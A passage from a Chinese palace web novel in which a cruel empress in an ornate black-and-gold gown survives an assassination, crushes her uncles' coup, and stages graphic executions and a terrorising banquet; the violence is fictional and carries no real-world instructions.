慕容嫣缓缓吐出一口气,仿佛刚才的爆发耗费了些许力气。她微微侧首,?喇叭袖下的手轻轻抚过睡裙上巨凤的羽翼,声音恢复了那种令人恐惧的平静: “传朕旨意。” “礼亲王等一干逆臣,罪证确凿,即刻抄家!三族皆夷!” “其家产充公,纳入朕的内帑。” “其尸首…拖去西山,喂狼。” 她顿了顿,目光扫过噤若寒蝉的百官,声音带着一丝玩味的冰冷: “至于慕容弘和慕容璋…” 她轻笑一声?:“告诉他们…朕很喜欢他们送的这份‘年礼’。” “让他们洗干净脖子等着。” “朕会亲自去取。” “用他们的头来祭朕的新衣。” 说完,她不再看任何人,?迤逦着那华美而染上无形血腥的五丈拖尾,转身,一步步走向屏风之后,离开了这如同修罗场般的金殿。 留下满殿死寂与无尽的恐惧。 回到寝宫,慕容嫣屏退左右。她走到巨大的琉璃镜前,?静静地看着镜中自己那身华美无比的墨金睡裙。 方才殿上的暴怒与杀戮似乎并未在她脸上留下太多痕迹,只有眼底深处残留着一丝兴奋的余烬。 她轻轻抬起手,?抚摸着睡裙上那冰冷光滑的黑钻凤眸,低声自语,声音带着一丝满意的慵懒: “果然,还是鲜血的颜色最配朕这身衣裳了。” 窗外,北风呼啸,卷着血腥气,预示着更大的风暴即将来临。 第899章 拖去西山,垒成京观 腊月二十四,祭灶日。 按例,帝后需至宫中西北角的钦安殿主持祭灶仪式。 此殿位置相对偏僻,途中需经过数段宫墙高耸、路径回转的宫道。这原本庄严肃穆的典礼,如今却因暗流汹涌,平添了无数杀机。 靖北王慕容弘与安平王慕容璋,在朝堂发难惨败、党羽被血腥清洗后,已然陷入疯狂! 他们深知已无退路,要么鱼死网破,要么束手就擒! 他们动用了最后、也是最疯狂的一步棋——将秘密潜入京城、藏匿于一处废弃宫苑夹墙内的数百名私军死士,于祭灶途中,发动决死刺杀! 目标只有一个:慕容嫣! 无论付出何等代价,只要她死,群龙无首,林臻独木难支,天下必乱! 辰时,仪仗肃穆,自寝宫而出。 慕容嫣身穿着那件华美绝伦、轻盈如梦、却在此刻如同赴战礼服般的黑金苏锦棉质百鸟朝凤睡裙,端坐于凤辇之中。? 墨黑为底、暗金流淌的苏锦在晨光熹微中更显神秘高贵,?其上仅以赤金线绣成的擎天巨凤于袍身蜿蜒,凤羽层叠,仿佛随时欲裂衣而出,择人而噬! ?宽大轻盈的喇叭袖铺陈在膝上,袖口金线流苏纹丝不动。那长达五丈的苏锦拖尾,并未收起,而是自然地、迤逦地垂落于凤辇之后,直接拖曳在清扫洁净却依旧冰冷的青石板宫道之上,其上镶嵌的黑钻墨玉在晨光下折射出冰冷璀璨的光芒,华贵威严,不容逼视。 林臻骑马紧随凤辇之侧,面色沉静,目光如鹰隼般扫视着沿途宫墙殿阁,周身弥漫着无形的肃杀之气。 他早已收到风声,今日恐有大变,护卫已增至平时的三倍,明哨暗卡无数。 队伍行至一处宫墙高耸、路径狭窄的拐角,此处名为“百转廊”,光线晦暗,风声呜咽。 突然! “咻咻咻——!” 刺耳的尖啸声破空而来! 无数弩箭如同毒蜂般,自两侧高墙的暗窗、通风口中暴射而出!直扑凤辇! “有刺客!护驾!”林臻厉喝一声,长剑瞬间出鞘,格飞数支弩箭!身影如电,已护在凤辇之前! 训练有素的凤翎卫瞬间结阵,盾牌高举,刀剑出鞘,与从阴影中扑出的、身着黑衣、面目狰狞的死士绞杀在一起! 金铁交鸣声、惨叫声瞬间打破了宫廷的宁静! 场面极度混乱! 刺客人数众多,且全然不顾性命,疯狂冲击着护卫阵型! 一支力道极强的弩箭,竟穿透了盾牌缝隙,直射向凤辇帘幕! 就在这千钧一发之际! 凤辇的帘幕被一只戴着墨丝绒指套的纤手猛地掀开! 慕容嫣竟自凤辇中一步踏出?!? 身着那身极致华贵的墨金睡裙,傲然立于刀光剑影之中!狂风卷起她的长发与宽大喇叭袖,猎猎作响! “陛下!危险!”林臻惊骇欲绝,想要将她推回辇中。 慕容嫣却一把推开他,目光冰冷地扫过混乱的战场,?嘴角竟勾起一抹残忍而兴奋的弧度?! “躲?”她的声音清冷,却带着一丝颤栗的疯狂,“就凭这些藏在阴沟里的老鼠也配让朕躲?” 她猛地回身?! 动作迅疾如电,带着滔天的怒意与不屑! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同愤怒的凤凰之翼,轰然展开,?唰啦一声扫过染血的青石板地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在刀光剑影的映照下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在血腥的杀场中骤然升起的烈日,尊贵、耀眼,且带着碾碎一切污秽的审判意味! 裙摆落下,华光内敛。 但慕容嫣的杀意已彻底沸腾!一名死士恰好突破防线,面目狰狞地挥刀扑向她! 所有护卫心胆俱裂! 慕容嫣却看也不看,?宽大喇叭袖下的手看似随意地一拂—— “噗——!” 一道几乎看不见的金线自她袖中激射而出!瞬间洞穿了那名死士的咽喉! 死士的动作戛然而止,眼中充满难以置信的惊愕,直挺挺地倒地身亡! 那金线,竟是她喇叭袖口装饰的一根极细长的、淬了剧毒的赤金流苏?! “废物。”慕容嫣冷冷地吐出两个字,目光扫向战团。 她竟一步步走向厮杀最激烈之处?!?五丈长的拖尾在她身后迤逦拖曳,毫不介意地碾过地上的血污与尸体! “保护陛下!”林臻目眦欲裂,疯狂斩杀靠近的刺客。 慕容嫣却仿佛在自家花园散步,?步伐从容,?目光冰冷地掠过每一个扑向她的死士。 “左三步,喉。” “右一丈,心。” “后侧,膝。” 她红唇轻启,声音不大,却清晰冰冷,每吐出一个词,便有一名死士应声倒地! 或喉间出现一个细小的血洞,或心口插着一枚金簪,或膝盖被无形暗器击碎! 她宽大喇叭袖看似随意拂动,每一次摆动,都有淬毒的金针、细如牛毛的毒刺、或是锋锐无比的金箔薄刃悄无声息地射出,精准地收割着生命! 她甚至没有动用护卫的刀剑,?全身上下,那件华美无比的睡裙本身,便是最致命的武器?!袖口、裙摆、甚至发髻上的墨玉长簪,皆可杀人于无形! 刺客们被她这鬼魅般的手段与冷酷的气势彻底震慑! 他们从未想过,这个传说中只知奢华享乐、残暴昏聩的女帝,本身竟是一个如此可怕的杀神! 慕容嫣踏着满地鲜血与尸体,?墨金睡裙的裙摆与拖尾已沾染上斑驳的血迹,她却毫不在意,反而眼中闪烁着一种近乎癫狂的兴奋光芒! “就这点本事?”她轻笑出声,声音带着无尽的嘲讽,“慕容弘和慕容璋就养了你们这群连朕的衣裳都碰不到的废物?” 她猛地抬手,?指向高墙上一处仍在发射弩箭的暗窗?:“把那里面躲着放冷箭的老鼠,给朕揪出来!剁碎了喂狗!” “是!”凤翎卫士气大振,如狼似虎地扑上! 战斗很快呈现出一边倒的态势。 刺客死士虽悍不畏死,但在慕容嫣这尊“人形杀器”与精锐护卫的联合绞杀下,迅速溃败。 最后一名刺客头目被押到慕容嫣面前,他浑身是血,犹自挣扎怒骂:“暴君!妖女!王爷会为我们报仇的!你不得好死!” 慕容嫣微微俯身,?宽大喇叭袖垂落,几乎要触及他污秽的脸,声音轻柔却冰冷刺骨:“报仇?” 她直起身,?喇叭袖轻轻一摆:“把他剥皮抽筋。骨头磨成粉,和上金漆。” 她目光扫过满地狼藉,?嘴角那抹残忍的弧度愈发明显?:“送去给朕那两位好皇叔,就说是朕赏他们的年礼。让他们用它好好描摹一下朕的画像。” “至于这些尸体…”她轻轻踢开脚边一具死尸,“拖去西山,垒成京观。让天下人都看看动朕动朕衣裳的下场。” 命令下达,冷酷至极。 凤翎卫凛然遵命。 慕容嫣这才低头,看了看自己睡裙下摆与拖尾边缘沾染的血迹与尘土,?眉头微微蹙起,眼中闪过一丝真实的懊恼与嫌恶。 “脏了…”她轻声嘟囔,仿佛刚才那场血腥杀戮远不及这件小事重要。 林臻快步上前,眼中充满了后怕与难以言喻的震撼,他伸出手想扶她。 慕容嫣却避开了他的手,?自己提起了那沉重的五丈拖尾,避免沾染更多污秽,声音恢复了那种慵懒的冷漠:“回宫。朕要沐浴。” “那…祭灶…”林臻迟疑道。 “祭什么灶?”慕容嫣冷冷地瞥了他一眼,“朕就是天意!” 她迤逦着那身染血却依旧华美夺目的墨金睡裙,一步步走向凤辇,?拖尾在身后划出一道惊心动魄的血色痕迹。 回到寝宫,慕容嫣屏退左右,只留林臻一人。她站在巨大的琉璃镜前,?静静地看着镜中自己,看着那身血迹斑斑却依旧威仪天成的睡裙。 她缓缓抬起手,?用戴着指套的手指,极其小心地、一点点擦去袖口一枚黑钻上溅到的血珠,眼神专注而偏执。 “可惜了…”她低声自语,“这么好的料子被脏血污了…” 林臻站在她身后,看着她纤细却蕴含着恐怖力量的背影,心中充满了无尽的复杂情绪。 慕容嫣忽然转过身,看向他,眼神清澈却冰冷:“慕容弘和慕容璋现在一定很害怕吧?” 她轻轻笑了起来,那笑容妖异而美丽:“你说他们是会连夜逃跑,还是会狗急跳墙,直接攻打皇城呢?” 她不等林臻回答,?自顾自地走到窗边,?看着窗外阴沉的天空,?喇叭袖下的手轻轻抚摸着窗棂上雕刻的凤凰图案。 “传朕旨意。”她的声音平静无波,却带着决定无数人生死的冷酷,“九门戒严。所有宗亲府邸,围而不攻。朕要让他们好好尝尝等死的滋味。” 她回眸一笑,倾国倾城,却令人胆寒: “等朕沐浴更衣,换一身更漂亮的衣裳…” “再慢慢收拾他们。” ?墨金浴血诛叛逆,苏锦凤怒焚奸邪。笑踏尸山待梳妆,再换华裳狩残孽。? 第900章 拂晓 腊月二十五,拂晓。 京城的寂静被骤然响起的、震耳欲聋的战鼓与号角声撕得粉碎! 黑压压的叛军如同决堤的洪水,从多个方向涌向皇城! 盔甲碰撞声、脚步声、嘶吼声汇聚成恐怖的声浪,冲击着高耸的宫墙! 靖北王慕容弘与安平王慕容璋,在刺杀失败、党羽被连根拔起后,已彻底疯狂! 他们动用了最后所有的底牌——被煽动的神枢营大部、秘密潜入京畿的私军死士、以及所有被裹挟的、心怀异志的部队,总数近两万人! 他们打着“诛妖后、清君侧、复慕容”的旗号,发动了最后的、也是最直接的军事政变! 意图强攻皇城,做最后一搏! 皇城九门紧闭,城墙上,林臻早已布防的精锐禁军与凤翎卫严阵以待,箭矢如林,滚木礌石堆积如山,气氛凝重如铁! 厮杀声、惨叫声、巨石撞击城门的轰鸣声瞬间响彻云霄!血与火的炼狱,骤然降临! 然而,深宫之中,暖阁之内,却异样地静谧。 慕容嫣刚刚沐浴完毕,身穿着那件华美绝伦、轻盈如梦、仿佛从未沾染过血腥的黑金苏锦棉质百鸟朝凤睡裙,正慵懒地坐在梳妆台前。 一名手巧的宫女正颤抖着为她梳理那如云青丝,另一名宫女则小心翼翼地为她戴上那支通透的墨玉长簪。 窗外传来的喊杀声与轰鸣声,仿佛只是遥远的背景噪音。 ?极致玄黑的苏锦底料在晨曦透过琉璃窗的微光中,呈现出一种吞噬光线的沉静质感,织入的金色棉绒与细若游丝的真金线流淌着暗金波光,神秘高贵。? 睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,却在这肃杀的气氛中更显灼热逼人,凤羽层叠,仿佛浴火重生,尊贵威严,气势磅礴到了极致! 凤眸上的黑钻冰冷洞彻,映照着窗外的烽火。?宽大轻盈的喇叭袖垂落,袖口金线流苏纹丝不动。 而那长达五丈的苏锦拖尾,?已然自然地、迤逦地直接铺陈在光洁如镜的金砖地面之上,华贵奢华,仿佛外面的血战与它毫无关系。 林臻一身戎装,盔甲上沾染着血污与烟尘,大步走了进来,眉宇间带着鏖战的疲惫与一丝焦虑,但眼神依旧锐利如鹰。他挥手屏退了宫女。 “嫣儿,”他的声音因久战而有些沙哑,却充满了不容置疑的坚定,“叛军攻势很猛,主要集中在西华门和东安门。这里不安全,我已命人加固了寝宫防御,你暂且…” 慕容嫣缓缓抬起手,?用戴着墨丝绒指套的纤指,轻轻止住了他的话。 她并未回头,目光依旧看着镜中自己绝美的容颜与那身华服,声音平静无波:“吵到朕了。” 林臻一怔。 慕容嫣缓缓站起身,?五丈苏锦拖尾随之轻盈地拖曳于地。她转过身,目光平静地看向林臻,?嘴角勾起一抹极淡的、却冰冷刺骨的弧度?:“一群苍蝇嗡嗡叫了这么久,也该清净了。” 她步履从容地走向殿门,?拖尾在身后迤逦铺开,华光流转。 “陛下!不可!”林臻大惊,急忙拦住她,“流矢无眼!墙头危险!” 慕容嫣停下脚步,?微微侧首,?喇叭袖下的手轻轻拂过林臻盔甲上的一道血痕,眼神中闪过一丝极淡的、难以察觉的波动,声音却依旧冰冷:“你的血脏了。” 不等林臻反应,她已绕过他,?迤逦着那身华美睡裙,径直向殿外走去! 步伐坚定,没有丝毫犹豫! “嫣儿!”林臻心胆俱裂,急忙抓起一面沉重的玄铁盾牌,紧随其后! 宫道之上,偶尔有流矢呼啸而过,或远处传来爆炸的轰鸣! 宫女太监惊恐躲避! 慕容嫣却视若无睹,?步伐平稳,?如同在自家花园散步一般,?向着厮杀声最激烈的西华门方向走去?! 那五丈长的墨金拖尾,?毫无顾忌地拖曳过可能沾染血污的地面,华贵耀眼,与这战乱环境形成了惊心动魄的对比! 林臻手持巨盾,死死护在她身侧,格飞数支流矢,眼神焦急万分,却无法阻止她。 终于,他们登上了西华门的城楼! 狂风呼啸,卷着浓烈的血腥味与硝烟味! 城下,黑压压的叛军如同蚁群,疯狂冲击着城门与城墙!箭矢如雨般对射!滚木礌石不断砸下,带来一片片惨嚎!战斗已进入白热化! 慕容嫣的出现,?瞬间吸引了城上城下所有人的目光?! 她身穿着那身极致华美、与战场格格不入的黑金睡裙,?傲然立于垛口之间?!狂风卷起她的长发与宽大喇叭袖,猎猎作响!? 五丈长的拖尾在身后铺陈于冰冷的城墙砖石之上,其上宝石在烽火映照下折射出冰冷璀璨的光芒! “陛下!”城上守军惊呼!许多人甚至忘了放箭! 城下的叛军也看到了她,攻势为之一滞! 无数道目光聚焦在那抹华贵得不可思议的身影上!震惊、恐惧、难以置信…种种情绪在叛军中蔓延! 慕容弘与慕容璋正在阵中督战,看到慕容嫣竟然如此现身,也是大吃一惊! “妖女!她竟敢…”慕容弘又惊又怒。 慕容嫣目光冰冷地扫过城下黑压压的叛军,?缓缓抬起手。 所有声音仿佛瞬间消失!所有人都屏息凝神,看着那只戴着墨丝绒指套的纤手?! 她并未指向叛军,而是轻轻抚过自己被风吹乱的鬓发,?喇叭袖随风拂动。 “真吵。”她开口,声音清冷,并不高昂,却奇异地压过了战场所有的喧嚣,清晰地传入每个人耳中,“你们打扰朕用早膳了。” 城上城下,一片死寂! 只有风声呼啸! 叛军们目瞪口呆! 这…这是什么话?! 慕容嫣微微俯身,?手肘撑在冰冷的垛口上,?宽大喇叭袖垂落城垛之外,目光如同看着一群蝼蚁:“就凭你们…这些乌合之众…也想闯进朕的宫里?” 她轻笑一声,带着无尽的嘲讽:“慕容弘,慕容璋,你们两个缩头乌龟既然没死透,就滚出来让朕看看,你们找了群什么样的废物来送死?” 叛军阵中,慕容弘与慕容璋脸色铁青! “放箭!给我放箭!射死那个妖女!”慕容弘疯狂嘶吼! 叛军弓箭手慌忙引弓! 然而,他们的手指还未松开弓弦—— 慕容嫣猛地回身?! 动作迅疾如电,带着滔天的威仪与不屑! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同燃烧的凤凰之翼,轰然展开,?唰啦一声扫过城墙垛口!?? 第901章 再看看朕身后 腊月二十六,午时。 京城西市,平日里最繁华的街口,此刻却鸦雀无声,万民匍匐。 一座临时搭建的高台矗立中央,台上竖着数根黝黑的铁柱,台下黑压压跪满了被俘的叛军将领、参与谋逆的朝臣及其家眷,足有上千人之众! 更远处,是被官兵拦住的、无数面色惨白、惊恐万状的百姓。 空气中弥漫着浓重的血腥味与绝望的恐惧。昨日皇城下的惨败,两位亲王慕容弘、慕容璋被生擒,以及随之而来的大规模清洗,已经让整个京城笼罩在末日般的战栗之中。 而今日,女帝陛下将亲临刑场,主持对逆党的最终裁决! 鼓声低沉而压抑地响起。 一辆华贵无比、却未加盖的凤辇,在精锐凤翎卫的簇拥下,缓缓驶入刑场,停在高台之下。 所有目光瞬间聚焦! 只见慕容嫣身穿着那件华美绝伦、轻盈如梦、却在今日显得无比肃杀威严的黑金苏锦棉质百鸟朝凤睡裙,?自凤辇中缓缓站起。? 极致玄黑的苏锦底料在冬日惨白的阳光下,吸吮着光线,呈现出一种沉静如深渊的质感,织入的金色棉绒与真金线流淌着幽暗的华彩。 ?睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,此刻却仿佛浴血而生,凤羽层叠,灼灼如熔岩,深邃如凝血,尊贵威严中透出令人胆寒的戾气! 凤眸黑钻冰冷洞彻,俯视着台下待宰的羔羊。?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏纹丝不动。而那长达五丈的苏锦拖尾,?并未做任何收敛,而是无比自然地、迤逦地直接拖曳在凤辇之后,铺陈在冰冷、甚至沾染着昨日血污的刑场地面之上!?? 华贵到极致的拖尾与肮脏血腥的环境形成剧烈对比,其上镶嵌的宝石固执地折射着冰冷的光芒,如同一条审判的墨金色河流,漫过罪孽之地。 她容颜绝世,神情却冰冷如万载寒冰,没有丝毫情绪波动。她在林臻(肩伤未愈,但坚持戎装护卫在侧)的搀扶下,一步步登上高台。林臻面色沉静,眼神锐利如鹰,扫视着四周,确保万无一失。 慕容嫣立于高台中央,?五丈拖尾在她身后迤逦铺开,仿佛墨金色的羽翼,笼罩了整个刑台。她目光平静地扫过台下黑压压的待死之人,如同看着一堆毫无生气的朽木。 “带逆首。”她的声音清冷,不高,却清晰地传遍死寂的刑场。 铁链拖地的刺耳声响起。披头散发、浑身血污、戴着沉重镣铐的靖北王慕容弘与安平王慕容璋被拖了上来,强行按倒在慕容嫣面前。他们眼中充满了恐惧、绝望与疯狂的恨意。 “慕容嫣!妖女!你不得好死!”慕容弘挣扎着嘶吼。 “慕容氏列祖列宗不会放过你的!”慕容璋涕泪横流地咒骂。 慕容嫣连眼皮都未曾抬一下,?宽大喇叭袖下的手轻轻一摆。 行刑官上前,展开一份长长的诏书,开始宣读二人的累累罪行:勾结朝臣、私蓄兵马、盗掘皇陵(此为慕容嫣刻意加上的最恶毒罪名)、煽动叛乱、谋刺君上…字字句句,皆可诛灭九族! 宣读完毕,刑场死寂,只有寒风呜咽。 慕容嫣缓缓上前一步,?五丈拖尾随之滑动。她微微俯身,?看着瘫软如泥的两位皇叔,声音轻柔得如同毒蛇吐信:“皇叔…一路走好。” 她直起身,?喇叭袖轻轻一拂。 数名魁梧的行刑手上前,将挣扎嚎叫的二人分别绑在了两根铁柱之上。 慕容嫣目光扫向台下惊恐万状的叛臣及其家眷,声音陡然变得冰冷锐利:“尔等…可知罪?” “陛下饶命!陛下饶命啊!” “臣等知罪!求陛下开恩!” 哭嚎声、求饶声瞬间响成一片,许多人磕头如捣蒜,额头鲜血淋漓。 慕容嫣嘴角勾起一抹极致残忍的弧度?:“知罪?好。” 她缓缓抬起手,?指向那两根铁柱?:“朕今日便给你们一个恕罪的机会。” 她目光扫过叛臣队列?:“你们谁若敢上前亲手执刑,在他们身上割下一块肉,朕便赦免其直系亲族死罪。” 此言一出,全场骇然! 这是要逼他们骨肉相残,甚至亲手弑旧主?! 死寂! 令人窒息的死寂! 慕容嫣也不催促,?只是慵懒地把玩着喇叭袖口的一缕金线流苏,仿佛在等待一场好戏开场。 终于,在极致的恐惧与求生的欲望驱使下,一名叛臣颤抖着爬了出来,接过行刑手递来的匕首,哭嚎着走向铁柱… 有了第一个,便有第二个,第三个… 惨叫声、咒骂声、刀刃割肉声…瞬间充斥了整个刑场!人间地狱,不过如此! 慕容嫣静静地看着这血腥的一幕,眼神平静无波,甚至…带着一丝欣赏的意味。她宽大喇叭袖下的手轻轻抬起,?接住一片被风吹落的、沾染了血沫的雪花,?指尖微微一捻。 林臻站在她身侧,面色沉静,目光却深邃如海,紧紧守护着她。 漫长的凌迟持续着…直到两位亲王彻底变成两具模糊的骨架… 慕容嫣这才微微抬手。 行刑停止。 她目光再次扫向那些手上沾满旧主鲜血、精神已彻底崩溃的叛臣,声音冰冷:“现在…该你们了。” 那些叛臣猛地抬头,眼中刚刚燃起一丝渺茫的希望… 却听慕容嫣轻笑道?:“朕只说…赦免尔等亲族死罪。何时说过…赦免你们了?” 希望瞬间破碎!绝望的哭嚎再次响起! “拖下去。”慕容嫣喇叭袖轻轻一摆,“一律腰斩。其亲族男丁流放三千里,女眷没入教坊司。” 命令下达,冷酷至极。凤翎卫立刻上前执行! 哭嚎声、挣扎声、求饶声再次响彻刑场! 慕容嫣却仿佛充耳不闻,她缓缓踱步到高台边缘,?五丈拖尾在身后迤逦,碾过刑台上的血污。她目光扫过远处匍匐的百姓,声音清冷,却带着无上的威压:“这就是背叛朕的下场。” “朕的江山,朕的规矩。” “顺朕者,昌。” “逆朕者,”她微微停顿,?嘴角那抹残忍的弧度加深,“亡。” 说完,她不再看刑场一眼,?转身,?向着台下走去。林臻立刻上前搀扶。 回到凤辇旁,慕容嫣却并未立刻上车。 她停下脚步,?低头看了看自己那五丈长的苏锦拖尾的边缘——那里,不可避免地沾染上了几滴喷溅的、暗红的血点。 她眉头微微蹙起,眼中闪过一丝真实的懊恼与嫌恶:“脏了…” 林臻见状,立刻单膝跪地,?毫不犹豫地伸出未受伤的手,用自己玄色戎装的袖口内衬,极其小心地、一点点地去擦拭那睡裙拖尾上的血点。动作轻柔而专注,仿佛在对待一件易碎的绝世珍宝。 慕容嫣静静站着,?垂眸看着他专注的侧脸和轻柔的动作,眼神中的冰冷与暴戾渐渐褪去,染上一丝极淡的、难以察觉的复杂情绪。 第902章 腊月二十六 血点被擦去,只留下极淡的水痕。 林臻抬起头,刚想说什么。 慕容嫣却忽然弯下腰,?伸出戴着墨丝绒指套的纤手,?轻轻捧住了他的脸。 她的动作很突然,带着一种不容置疑的强势。 林臻身体微微一僵,呼吸窒住,深邃的眼眸中映出她绝美的容颜。 慕容嫣仔细地端详着他的脸,?目光从他英挺的眉宇,落到他微抿的薄唇,?最后定格在他因受伤而略显苍白的脸色上。 “疼吗?”她轻声问,声音依旧带着一丝天生的冷清,却比方才柔和了无数倍。 林臻微微摇头,目光沉静地回望她:“不疼。” 慕容嫣静默了片刻,?忽然,她手臂微微用力,?竟引导着他,让他就着单膝跪地的姿势,缓缓将头靠向自己。 然后,在万千目光的注视下,在血腥未散的刑场之侧——她低下头,?温热的、带着一丝清冷梅香的唇,?轻轻地、却无比坚定地印在了他微凉的额头上。 不是一个情欲的吻。 而是一个带着安抚、宣告占有、以及某种难以言喻的依赖的吻。 时间仿佛在这一刻静止。 所有看到这一幕的人,都惊呆了! 空气中弥漫的血腥味似乎都被这惊世骇俗的一幕冲淡了! 林臻的身体彻底僵住,心跳如擂鼓! 他能感受到她唇瓣的柔软与微凉,能闻到她身上那独特的冷梅异香,更能感受到那华睡裙的墨金苏锦面料轻轻拂过他的脸颊。 许久,慕容嫣才缓缓抬起头。她的脸颊似乎泛起一丝极淡的、几乎看不见的红晕,但眼神却恢复了那种慵懒而掌控一切的冷漠。 她用指套轻轻点了点他的鼻尖,声音带着一丝命令式的娇纵:“起来。” 林臻依言站起身,依旧有些怔忡。 慕容嫣却仿佛什么都没发生,?优雅地提起了那沉重的五丈拖尾,避免沾染更多污秽,准备登上凤辇。踏上辕木前,她脚步微顿,?并未回头,声音清冷地传来: “今晚来朕寝宫。” “给朕换药。” 说完,她步入凤辇,?华丽的拖尾最后迤逦滑入辇中。 林臻站在原地,望着凤辇远去,抬手轻轻抚过额头上那残留着微凉与馨香的地方,眼神深邃如夜,最终化为一声几不可闻的叹息与无尽的复杂。 他翻身上马,紧随其后。 刑场上的血腥仍在继续,但那墨金色的凤影与那惊世一吻,却深深烙印在了所有见证者的心中,比任何残酷的刑罚更具威慑力——那不仅是对叛逆的碾碎,更是对忠诚的绝对占有与宣告。 腊月二十八,除夕前夜。持续数日的血腥清洗与肃杀氛围,似乎被一场突如其来的、极尽奢华的宫廷夜宴所取代。 皇城内张灯结彩,丝竹管弦之声不绝于耳,仿佛要将前些时日的血腥与恐惧彻底冲刷干净。 然而,所有接到赴宴旨意的王公大臣、宗亲贵胄,无不战战兢兢,面色惨白。谁都知道,这绝非一场简单的庆功宴,而是另一场…鸿门宴。 女帝陛下刚刚以铁血手段碾碎了两位亲王的叛乱,其手段之酷烈,令人胆寒。今夜,不知又有多少人头将要落地。 华灯初上,太极殿内早已布置妥当。 金碧辉煌,灯火通明,珍馐美馔琳琅满目,舞姬乐师屏息以待。 官员们依序入席,个个正襟危坐,低眉顺眼,不敢有丝毫喧哗,空气中弥漫着一种令人窒息的奢华与恐惧交织的氛围。 戌时正,钟鼓齐鸣,内侍监高唱:“陛下驾到——!” 所有人心头一凛,慌忙离席跪伏在地,头深深低下,不敢仰视。 只见慕容嫣身穿着那件华美绝伦、轻盈如梦、却在今夜这灯火辉煌下更显璀璨夺目、威仪天成的黑金苏锦棉质百鸟朝凤睡裙,?缓步自殿后走出,?迤逦行至御座之前。 ?极致玄黑的苏锦底料在无数宫灯与烛火的照耀下,吸吮着光芒,呈现出一种深不见底的墨色,然而织入的金色棉绒与细若游丝的真金线却在光线下疯狂地折射出流动的暗金波光,神秘、高贵,令人不敢逼视。 ?睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,此刻在辉煌灯火下仿佛彻底活了过来! 凤羽层叠,灼灼如熔化的烈日金辉,深邃如沉淀的暗夜宝藏,尊贵威严,气势磅礴到了极致,仿佛随时要振翅高飞,焚尽世间一切不臣! 凤眸上的黑钻冰冷洞彻,俯视着跪伏的众生。?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏在灯光下流光溢彩。 而那长达五丈的苏锦拖尾,?更是毫无顾忌地、迤逦地直接拖曳在御座之下,铺满了九级玉阶,甚至延伸到了殿内光洁如镜的金砖地面之上!?? 华贵到极致的拖尾如同一条流淌的墨金色星河,其上镶嵌的无数黑钻、墨玉、乌金疯狂地折射着璀璨的光芒,奢华、威严,且带着碾压一切的威仪! 她容颜绝世,神情却带着一种慵懒的漠然,仿佛台下跪伏的众人与这极致的奢华,皆不能引起她丝毫兴趣。她并未立刻坐下,而是身姿挺拔地立于御座之前,?目光平静地扫过台下。 “平身。”她的声音清冷,不大,却清晰地传入每个人耳中。 “谢陛下!”众人如蒙大赦,战战兢兢地起身归座,依旧不敢抬头。 慕容嫣这才慵懒地坐入宽大的御座之中,?五丈长的拖尾在她身侧迤逦铺开,占据了极大的空间,华光夺目。 林臻一身玄色暗绣蟠龙常服,立于御座之侧,面色沉静,目光低垂,只是偶尔抬眼扫视全场时,眼底深处会闪过一丝不易察觉的锐利。 宴席开始。歌舞升平,觥筹交错。然而气氛却始终凝重,无人敢真正畅饮欢歌,每个人都如同提线木偶,机械地举杯,食不知味。 慕容嫣似乎对眼前的歌舞毫无兴趣,?只是用戴着墨丝绒指套的纤指,?有一下没一下地轻叩着御座的扶手,?目光偶尔掠过台下某些面色惨白、冷汗涔涔的官员,?嘴角勾起一丝极淡的、冰冷的弧度。 酒过三巡,菜过五味。 慕容嫣忽然轻轻抬了抬手。 乐舞骤停! 全场瞬间死寂! 所有人的心都提到了嗓子眼! 她缓缓站起身,?五丈拖尾随之滑动。她踱步到御阶边缘,?目光扫过全场,声音带着一丝慵懒的玩味:“今日盛宴,怎的如此沉闷?可是…歌舞不够精彩?还是…酒菜不合口味?” 无人敢应答。 慕容嫣轻笑一声,?宽大喇叭袖轻轻一拂:“既然朕的乐师舞姬不入诸位的眼…那便…换点助兴的节目。” 她目光倏地变冷,?如同冰锥般刺向席间某几位瑟瑟发抖的官员?:“朕听闻礼部侍郎张大人尤善口技,能模仿百鸟朝凤?兵部司库李大人精通杂耍,尤擅顶缸?” 被点名的两人瞬间面如死灰,瘫软在地! “来,”慕容嫣嘴角那抹残忍的弧度加深,“给朕和众卿演上一段。演得好朕有赏。演得不好…” 第903章 味道不错 她故意停顿了一下,?欣赏着那两人绝望的表情,?才缓缓吐出?:“就下去陪慕容弘和慕容璋继续演。” 立刻有凤翎卫上前,将哭嚎求饶的两人拖至殿中空地“表演”。 所谓的“口技”变成了惊恐的惨叫与哀求,“杂耍”更是狼狈不堪,丑态百出! 台上慕容嫣看得津津有味,?甚至偶尔还会轻笑出声,?仿佛真的在看一场有趣的表演。台下众臣却如坐针毡,浑身冰冷! 表演完毕,那两人已彻底崩溃。 慕容嫣似乎满意了,?喇叭袖轻轻一摆:“赏。赐酒。” 两杯“御酒”被端上。那两人颤抖着喝下,片刻后便口吐白沫,抽搐倒地!被迅速拖走! 殿内死寂!落针可闻! 血腥味仿佛再次弥漫开来! 慕容嫣却仿佛只是处置了两只苍蝇,?慵懒地回到御座,?端起自己面前的琉璃盏,?轻轻抿了一口?:“现在气氛好些了么?” 无人敢答。 她目光再次扫视,?又点了几名官员,或令其赋诗“赞颂太平”,或令其讲述“忠君典故”,稍有差错或言辞闪烁,便是雷霆之怒,轻则杖责,重则拖出殿外,生死不明! 这场盛宴,彻底变成了女帝陛下随心所欲、生杀予夺的审判场!她用最慵懒的姿态,?说着最轻柔的话语,?却行着最酷烈之事?! 每一句看似随意的点评,都可能决定一个家族的生死存亡! 林臻始终沉默地立于其侧,如同最忠诚的影子,默默执行着她每一个或明或暗的指令。 直到席间再无明显的“余孽”可揪,慕容嫣似乎才有些倦了。她挥退了乐舞,?示意群臣“自便”?。 然而,经历了方才的一切,谁还敢“自便”? 众人皆屏息凝神,如履薄冰。 